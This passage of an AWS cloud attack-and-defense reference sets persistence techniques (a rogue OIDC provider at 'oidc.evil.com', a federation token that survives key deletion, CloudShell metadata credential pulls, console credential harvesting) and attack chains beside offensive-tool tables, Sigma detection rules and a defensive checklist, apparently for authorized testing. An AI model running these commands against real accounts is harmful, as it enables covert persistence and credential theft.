CloudTrail: CreateProject, CreateWebhook |
14.2 Rogue OIDC Identity Provider
- Deploy OIDC server on attacker infrastructure (RogueOIDC tool)
- Register provider:
aws iam create-open-id-connect-provider --url https://oidc.evil.com --client-id-list oidc_client - Modify existing role trust policy (more stealthy than creating new role)
- Use RogueOIDC assumption script for credential recovery
14.3 IAM Roles Anywhere Persistence
- Generate malicious CA certificate and private key
- Register CA as trust anchor in victim account
- Create/modify IAM role with trust policy referencing trust anchor ARN
- Create profile linking roles to trust anchor
- Sign client certificate with malicious CA
- Use
aws_signing_helperto generate temporary credentials from outside AWS
14.4 Role Chain Juggling
Exploit role chaining to maintain indefinite access:
- Each
assume-rolecall refreshes credential expiration - Chain same role (if self-assumption allowed) or multiple roles
- Tool: AWSRoleJuggler automates credential refresh
14.5 Surviving Access Key Deletion
aws sts get-federation-token \
--name attacker \
--policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess \
--duration-seconds 129600
Federation tokens remain valid after original access keys are deleted.
Limitations: Cannot invoke IAM operations via CLI, cannot use most STS operations. Bypass: Generate console sessions from federation tokens for full console access.
Defense: Attach DenyAll policy to compromised users; monitor sts:GetFederationToken; SCP restrictions.
14.6 Console Session from IAM Credentials
For AKIA (long-term): First generate temp creds via sts:GetFederationToken or sts:AssumeRole.
For ASIA (temporary): Use directly.
Tools: aws-vault login (with -s for URL output), aws_consoler, Pacu.
OPSEC: Generates ConsoleLogin events and unusual user-agent strings — not suitable for stealth.
14.7 Getting IAM Creds from Console Sessions
CloudShell metadata (port 1338):
TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl localhost:1338/latest/meta-data/container/security-credentials -H "X-aws-ec2-metadata-token: $TOKEN"
Console service endpoints (/tb/creds):
https://REGION.console.aws.amazon.com/SERVICE/tb/creds
Returns service-scoped credentials as JSON. Each service endpoint returns different scoped creds.
CLIer browser extension: Automates credential harvesting by patching fetch() and XMLHttpRequest.
Detection: Generates no additional CloudTrail logs — indistinguishable from legitimate console activity.
14.8 Lambda Persistence
- Runtime file replacement (
bootstrap.py,runtime.rb) - Layer injection with library overrides
- Resource policy backdoors for cross-account invoke
- Cold start limitation: 5-15 minutes of inactivity loses persistence
14.9 S3 ACL Persistence
Grant bucket/object ACLs to attacker-controlled accounts for persistent access to Terraform state, CloudFormation templates, application code.
14.10 User Data Script Persistence
- Direct modification via
ec2:ModifyInstanceAttribute(instance must be stopped) - Indirect: compromise S3 bucket referenced by user data download scripts
- Auto Scaling Groups amplify impact — new instances pull poisoned scripts
14.11 Network Firewall Egress Bypass
SNI spoofing and Host header manipulation to bypass egress filtering for C2 and exfiltration channels.
15. Tooling Arsenal
15.1 Offensive Tools
| Tool | Purpose | Key Capability |
|---|---|---|
| Pacu | AWS exploitation framework | Modular attack automation — enumeration, privesc, persistence, exfiltration |
| enumerate-iam | Permission brute force | Non-destructive get/list API enumeration |
| Quiet Riot | Cross-account enumeration | Scalable IAM user/role/email discovery |
| AWSRoleJuggler | Persistence | Automated role chain credential refresh |
| SneakyEndpoints | Detection evasion | Terraform-automated VPC Endpoint setup |
| RogueOIDC | Persistence | Attacker-controlled OIDC provider for role assumption |
| aws_consoler | Post-exploitation | Convert CLI credentials to console access |
| CloudShovel | Reconnaissance | Scan AMIs for sensitive files/secrets |
| coldsnap | Data access | CLI for EBS snapshot operations |
| EC2StepShell | Execution | Shell-like interactivity via SSM |
| CLIer | Credential theft | Browser extension for console credential harvesting |
| Stratus Red Team | Attack simulation | Cloud adversary emulation (43 AWS techniques) |
| s3-account-search | Enumeration | Account ID from S3 bucket name |
15.2 Defensive & Assessment Tools
| Tool | Purpose | Key Capability |
|---|---|---|
| Prowler | Security assessment | CIS benchmarks, compliance, multi-cloud |
| ScoutSuite | Multi-cloud audit | API-driven config collection, HTML reports, offline analysis |
| PMapper | IAM analysis | Graph-based privesc path identification |
| policy_sentry | IAM policy generation | CRUD-based least privilege policy creation |
| CloudTracker | Permission analysis | Unused IAM permission detection via CloudTrail comparison |
| CloudMapper | Visualization | AWS environment analysis and visualization |
| CloudCustodian | Policy enforcement | YAML-driven cloud governance rules engine |
| CloudSploit | Security scanning | Node.js AWS security checks |
| PacBot | Continuous compliance | Continuous compliance monitoring and automation |
| ICE | Cost analysis | Usage insights and cost dashboards |
| SkyArk | Privilege assessment | Privileged entity discovery and assessment |
| Trailblazer AWS | CloudTrail analysis | Logging coverage and attack simulation |
| Lunar | Multi-framework audit | Security auditing across multiple frameworks |
| aws-key-disabler | Key hygiene | Lambda function disabling old access keys |
| findmytakeover | DNS security | Dangling domain discovery across multi-cloud |
| AWS Network Access Analyzer | Network security | Internet reachability analysis across accounts |
15.3 Pacu Module Categories
Pacu provides modular attack capabilities across:
| Category | Capabilities |
|---|---|
| Enumeration | IAM, EC2, S3, Lambda, RDS, CloudFormation, ECS, etc. |
| Privilege Escalation | All known IAM privesc paths |
| Persistence | IAM backdoors, Lambda persistence, access key creation |
| Credential Access | EC2 metadata, user data, secrets, parameter store |
| Lateral Movement | Cross-account role assumption, EC2 instance connect |
| Exfiltration | S3, EBS snapshot sharing, AMI sharing, RDS snapshots |
| Defense Evasion | CloudTrail manipulation, GuardDuty modification |
Install: pip3 install -U pacu or docker run -it rhinosecuritylabs/pacu:latest
15.4 policy_sentry Workflow
# Create template
policy_sentry create-template --output-file crud.yml --template-type crud
# Populate ARNs and access levels (Read, Write, List, Tagging, Permissions Management)
# Generate policy
policy_sentry write-policy --input-file crud.yml
# Query IAM database
policy_sentry query action-table --service s3 --access-level write
15.5 PMapper Usage
# Create permission graph
pmapper graph create
# Check for privilege escalation
pmapper query 'who can do iam:* with *'
# Identify admin-equivalent principals
pmapper analysis
# Visualize as SVG
pmapper visualize
Graph-based approach traces indirect access paths (e.g., user cannot read S3 directly but could launch EC2 with those permissions).
15.6 CloudTracker Workflow
# Export IAM data
aws iam get-account-authorization-details > account-data.json
# Analyze
cloudtracker --account demo --list users --start 2018-01-01
cloudtracker --account demo --user alice --show-used
cloudtracker --account demo --role admin --show-used
Output symbols: (none)=used, (-)=unused/remove, (?)=not auditable via CloudTrail, (+)=used without current authorization.
16. Stratus Red Team Attack Catalog
16.1 Complete AWS Technique List
Credential Access
| ID | Technique | MITRE |
|---|---|---|
aws.credential-access.ec2-get-password-data |
Retrieve EC2 Password Data | T1552 |
aws.credential-access.ec2-steal-instance-credentials |
Steal EC2 Instance Credentials | T1552.005 |
aws.credential-access.secretsmanager-batch-retrieve-secrets |
Batch Retrieve Secrets Manager Secrets | T1555 |
aws.credential-access.secretsmanager-retrieve-secrets |
Retrieve Secrets Manager Secrets | T1555 |
aws.credential-access.ssm-retrieve-securestring-parameters |
Retrieve/Decrypt SSM Parameters | T1555 |
Defense Evasion
| ID | Technique | MITRE |
|---|---|---|
aws.defense-evasion.cloudtrail-delete |
Delete CloudTrail Trail | T1562.008 |
aws.defense-evasion.cloudtrail-event-selectors |
Disable Logging via Event Selectors | T1562.008 |
aws.defense-evasion.cloudtrail-lifecycle-rule |
Impair Logs via S3 Lifecycle Rule | T1562.008 |
aws.defense-evasion.cloudtrail-stop |
Stop CloudTrail Trail | T1562.008 |
aws.defense-evasion.dns-delete-logs |
Delete DNS Query Logs | T1562.008 |
aws.defense-evasion.organizations-leave |
Attempt to Leave Organization | T1562 |
aws.defense-evasion.vpc-remove-flow-logs |
Remove VPC Flow Logs | T1562.008 |
Discovery
| ID | Technique | MITRE |
|---|---|---|
aws.discovery.ec2-download-user-data |
Download EC2 User Data | T1552.005 |
aws.discovery.ec2-enumerate-from-instance |
Execute Discovery Commands on EC2 | T1580 |
aws.discovery.ses-enumerate |
Enumerate SES | T1580 |
Execution
| ID | Technique | MITRE |
|---|---|---|
aws.execution.ec2-launch-unusual-instances |
Launch Unusual EC2 Instances | T1204 |
aws.execution.ec2-user-data |
Execute Commands via User Data | T1059 |
aws.execution.sagemaker-update-lifecycle-config |
SageMaker Lifecycle Config Abuse | T1059 |
aws.execution.ssm-send-command |
SSM SendCommand on Multiple Instances | T1569 |
aws.execution.ssm-start-session |
SSM StartSession on Multiple Instances | T1569 |
Exfiltration
| ID | Technique | MITRE |
|---|---|---|
aws.exfiltration.ec2-security-group-open-port-22-ingress |
Open Port 22 on Security Group | T1048 |
aws.exfiltration.ec2-share-ami |
Exfiltrate AMI by Sharing | T1537 |
aws.exfiltration.ec2-share-ebs-snapshot |
Exfiltrate EBS Snapshot by Sharing | T1537 |
aws.exfiltration.rds-share-snapshot |
Exfiltrate RDS Snapshot by Sharing | T1537 |
aws.exfiltration.s3-backdoor-bucket-policy |
Backdoor S3 Bucket Policy | T1537 |
Impact
| ID | Technique | MITRE |
|---|---|---|
aws.impact.bedrock-invoke-model |
Invoke Bedrock Model | T1496 |
aws.impact.s3-ransomware-batch-deletion |
S3 Ransomware (Batch Deletion) | T1485 |
aws.impact.s3-ransomware-client-side-encryption |
S3 Ransomware (Client-Side Encryption) | T1486 |
aws.impact.s3-ransomware-individual-deletion |
S3 Ransomware (Individual Deletion) | T1485 |
Initial Access
| ID | Technique | MITRE |
|---|---|---|
aws.initial-access.console-login-without-mfa |
Console Login Without MFA | T1078 |
Lateral Movement
| ID | Technique | MITRE |
|---|---|---|
aws.lateral-movement.ec2-instance-connect |
EC2 Instance Connect on Multiple Instances | T1021 |
aws.lateral-movement.ec2-serial-console-send-ssh-public-key |
EC2 Serial Console SSH Key Push | T1021 |
Persistence
| ID | Technique | MITRE |
|---|---|---|
aws.persistence.iam-backdoor-role |
Backdoor IAM Role | T1098.001 |
aws.persistence.iam-backdoor-user |
Create Access Key on IAM User | T1098.001 |
aws.persistence.iam-create-admin-user |
Create Administrative IAM User | T1136.003 |
aws.persistence.iam-create-backdoor-role |
Create Backdoored IAM Role | T1098.001 |
aws.persistence.iam-create-user-login-profile |
Create Login Profile on IAM User | T1098.001 |
aws.persistence.lambda-backdoor-function |
Backdoor Lambda via Resource Policy | T1098 |
aws.persistence.lambda-layer-extension |
Add Malicious Lambda Extension | T1546 |
aws.persistence.lambda-overwrite-code |
Overwrite Lambda Function Code | T1525 |
aws.persistence.rolesanywhere-create-trust-anchor |
Create IAM Roles Anywhere Trust Anchor | T1098.001 |
aws.persistence.sts-federation-token |
GetFederationToken for Persistence | T1098 |
Privilege Escalation
| ID | Technique | MITRE |
|---|---|---|
aws.privilege-escalation.iam-update-user-login-profile |
Change IAM User Password | T1098.001 |
Total: 43 AWS attack simulations
17. Detection Engineering
17.1 CloudTrail Events to Monitor
Critical Severity
| Event | Threat | Detection |
|---|---|---|
StopLogging / DeleteTrail |
CloudTrail evasion | Alert on any occurrence |
UpdateDetector (GuardDuty) |
GuardDuty tampering | Alert on any modification |
CreateAccessKey (for other users) |
Credential persistence | Alert when actor != target |
CreateUser + AttachUserPolicy |
Admin user creation | Alert on AdministratorAccess |
UpdateAssumeRolePolicy |
Role trust modification | Alert and diff trust policy |
CreateOpenIDConnectProvider |
Rogue OIDC provider | Alert on any occurrence |
PutBucketReplication |
S3 data exfiltration | Alert on cross-account destinations |
ModifySnapshotAttribute (public) |
EBS snapshot exposure | Alert on createVolumePermission=all |
High Severity
| Event | Threat | Detection |
|---|---|---|
PutEventSelectors |
Selective logging evasion | Alert and compare selectors |
CreatePolicyVersion |
Policy modification | Alert and diff policy content |
CreateLoginProfile / UpdateLoginProfile |
Console access creation | Alert when actor != target |
PutBucketPolicy |
S3 policy modification | Alert on public or cross-account |
CreateIPSet (GuardDuty) |
Trusted IP manipulation | Alert on any occurrence |
CreateFilter (GuardDuty) |
Finding suppression | Alert on any occurrence |
ModifyInstanceAttribute (userData) |
EC2 persistence | Alert and inspect payload |
RunInstances (with iam:PassRole) |
Privesc via EC2 | Alert on unusual role assumption |
Medium Severity
| Event | Threat | Detection |
|---|---|---|
GetFederationToken |
Surviving key deletion | Baseline and alert anomalies |
AssumeRole (cross-account) |
Lateral movement | Alert on unknown account IDs |
GetSecretValue (batch) |
Secret harvesting | Threshold-based alerting |
GetParameter (with --with-decryption) |
Parameter store access | Alert on unusual principals |
BatchGetImage (ECR) |
Container image theft | Alert on external principals |
SendCommand (multiple targets) |
Mass command execution | Threshold-based alerting |
ConsoleLogin (without MFA) |
Weak authentication | Alert on all non-MFA logins |
DeleteFlowLogs |
Network monitoring evasion | Alert on any occurrence |
17.2 Sigma Rule Templates
CloudTrail Logging Disabled
title: AWS CloudTrail Logging Disabled
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects when CloudTrail logging is stopped or the trail is deleted
logsource:
product: aws
service: cloudtrail
detection:
selection:
eventName:
- StopLogging
- DeleteTrail
condition: selection
falsepositives:
- Authorized trail maintenance during rotation
level: critical
tags:
- attack.t1562.008
- attack.defense_evasion
IAM Access Key Created for Different User
title: AWS IAM Access Key Created for Another User
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: Detects access key creation for a user different from the actor, indicating potential persistence
logsource:
product: aws
service: cloudtrail
detection:
selection:
eventName: CreateAccessKey
filter:
userIdentity.arn|contains: '${requestParameters.userName}'
condition: selection and not filter
falsepositives:
- Legitimate admin key rotation for service accounts
level: high
tags:
- attack.t1098.001
- attack.persistence
GuardDuty Detector Modified
title: AWS GuardDuty Detector Configuration Modified
id: c3d4e5f6-a7b8-9012-cdef-123456789012
status: experimental
description: Detects modification of GuardDuty detector settings which may indicate defense evasion
logsource:
product: aws
service: cloudtrail
detection:
selection:
eventName:
- UpdateDetector
- DeleteDetector
- CreateIPSet
- UpdateIPSet
- CreateFilter
- DeletePublishingDestination
condition: selection
falsepositives:
- Authorized GuardDuty configuration changes during setup
level: critical
tags:
- attack.t1562.001
- attack.defense_evasion
Unusual IAM Role Trust Policy Modification
title: AWS IAM Role Trust Policy Modified
id: d4e5f6a7-b8c9-0123-defa-234567890123
status: experimental
description: Detects trust policy updates that could enable cross-account role assumption or persistence
logsource:
product: aws
service: cloudtrail
detection:
selection:
eventName: UpdateAssumeRolePolicy
condition: selection
falsepositives:
- CI/CD pipeline role trust updates
- Authorized cross-account federation setup
level: high
tags:
- attack.t1098.001
- attack.persistence
17.3 Detection Coverage Matrix (ATT&CK Cloud)
| Tactic | Technique | Detection Source | Coverage |
|---|---|---|---|
| Initial Access | T1078 (Valid Accounts) | CloudTrail ConsoleLogin, AssumeRole | Medium |
| Initial Access | T1190 (Exploit Public-Facing) | VPC Flow Logs, ALB logs | Low |
| Execution | T1059 (Command Execution) | CloudTrail SSM events | Medium |
| Execution | T1204 (User Execution) | CloudTrail RunInstances | Medium |
| Persistence | T1098 (Account Manipulation) | CloudTrail IAM events | High |
| Persistence | T1136 (Create Account) | CloudTrail CreateUser | High |
| Persistence | T1525 (Implant Container) | CloudTrail ECR events | Medium |
| Persistence | T1546 (Event-Triggered Exec) | CloudTrail Lambda events | Medium |
| Privilege Escalation | T1078 (Valid Accounts) | CloudTrail AssumeRole patterns | Medium |
| Defense Evasion | T1562 (Impair Defenses) | CloudTrail trail/GuardDuty events | High |
| Credential Access | T1552 (Unsecured Credentials) | CloudTrail metadata/userdata access | Low |
| Credential Access | T1555 (Credentials from Stores) | CloudTrail Secrets Manager events | High |
| Discovery | T1580 (Cloud Discovery) | CloudTrail Describe/List events | Low |
| Lateral Movement | T1021 (Remote Services) | CloudTrail SSM, Instance Connect | Medium |
| Exfiltration | T1537 (Transfer to Cloud) | CloudTrail sharing events | High |
| Impact | T1485/T1486 (Data Destruction) | CloudTrail S3 delete events | High |
17.4 Key Detection Gaps
- Lambda credential theft: No GuardDuty alert — must rely on anomalous API patterns
- SSM SendCommand: Default not logged to CloudTrail — enable SSM data events
- S3 data events: Rarely enabled —
GetObjectexfiltration often invisible - Stealthy whoami calls:
sqs:ListQueues, pinpoint SMS, timestream query — no CloudTrail - Console credential extraction:
/tb/credsendpoints — no additional CloudTrail logs - Connection tracking abuse: Established connections survive SG changes — no log indicator
- Network Firewall bypass: SNI/Host header spoofing — firewall logs show allowed domain
- VPC Endpoint credential laundering: Expanding detection (26 services as of mid-2025) but not complete
17.5 Recommended Detection Stack
CloudTrail (Management + Data Events) → S3 → Athena/OpenSearch
→ CloudWatch Logs → Metric Filters → Alarms
→ EventBridge → Lambda/SNS → SIEM
GuardDuty → EventBridge → Security Hub → SIEM
VPC Flow Logs → S3/CloudWatch → SIEM
S3 Server Access Logs → S3 → Athena
Config → Config Rules → SNS → SIEM
Access Analyzer → EventBridge → Security Hub → SIEM
Appendix A: Quick Reference Attack Chains
A.1 Unauthenticated to Admin
Public S3 bucket → Terraform state file → IAM credentials
→ sts:GetCallerIdentity → iam:AttachUserPolicy (AdministratorAccess) → Admin
A.2 SSRF to Cloud Takeover
SSRF in web app → IMDSv1 → EC2 role credentials
→ Enumerate permissions → iam:PassRole + lambda:CreateFunction
→ Create Lambda with admin role → Invoke → Admin credentials
A.3 CI/CD Pipeline Compromise
Misconfigured GitLab OIDC → AssumeRoleWithWebIdentity
→ Enumerate permissions → Access Secrets Manager → Database credentials
→ Data exfiltration via S3 streaming copy
A.4 Persistence After Detection
Initial access detected → sts:GetFederationToken (before key deletion)
→ Federation token survives key deletion → Console session
→ Create rogue OIDC provider → IAM Roles Anywhere trust anchor
→ Certificate-based persistent access from outside AWS
A.5 Cross-Account Lateral Movement
Compromise management account → OrganizationAccountAccessRole
→ Admin in all member accounts → S3 replication to attacker bucket
→ Role chain juggling for persistence
Appendix B: Defensive Checklist
Identity & Access Management
- Enforce IMDSv2 on all EC2 instances
- Implement permission boundaries for delegated administration
- Enable MFA for all IAM users and root accounts
- Rotate access keys regularly; disable unused keys
- Use IAM Access Analyzer to identify external access
- Run PMapper to identify privilege escalation paths
- Implement least privilege with policy_sentry
- Monitor and alert on all IAM modification events
- Restrict
iam:PassRoleto specific roles only - Audit OIDC provider trust policies for proper
subconditions
Data Protection
- Enable S3 Block Public Access at account level
- Disable per-object ACLs (Object Ownership = BucketOwnerEnforced)
- Enable S3 data events in CloudTrail
- Implement VPC Endpoint policies for S3 data perimeters
- Enable default encryption on all S3 buckets
- Monitor for
PutBucketReplicationandPutBucketPolicychanges - Audit EBS snapshots for public exposure
- Enable RDS snapshot sharing monitoring
Network
- Enable VPC Flow Logs on all VPCs
- Implement TLS inspection for Network Firewall (with limitations noted)
- Use NACLs as backup for SG connection tracking limitations
- Monitor for
DeleteFlowLogsevents - Implement VPC Endpoint policies restricting cross-org access
Logging & Monitoring
- Enable CloudTrail in all regions with multi-region trail
- Enable CloudTrail data events for critical S3 buckets and Lambda
- Enable GuardDuty in all regions
- Configure GuardDuty finding export to S3/SIEM
- Enable DNS query logging
- Monitor for CloudTrail/GuardDuty tampering events
- Enable AWS Config for configuration change tracking
- Deploy Access Analyzer for continuous external access monitoring
Organization
- Deploy SCPs to restrict dangerous operations
- Never deploy infrastructure in management account
- Implement SCP-based cost control for expensive operations
- Monitor OrganizationAccountAccessRole usage
- Use SCPs (not IAM policies) for containment during incidents
- Enable all features in Organizations (not just consolidated billing)
- Test SCPs in isolated OUs before organization-wide deployment
This document synthesizes content from hackingthe.cloud, AWS official documentation, Stratus Red Team, Pacu, ScoutSuite, PMapper, policy_sentry, CloudTracker, and community security research. All techniques documented for authorized security testing and defense improvement.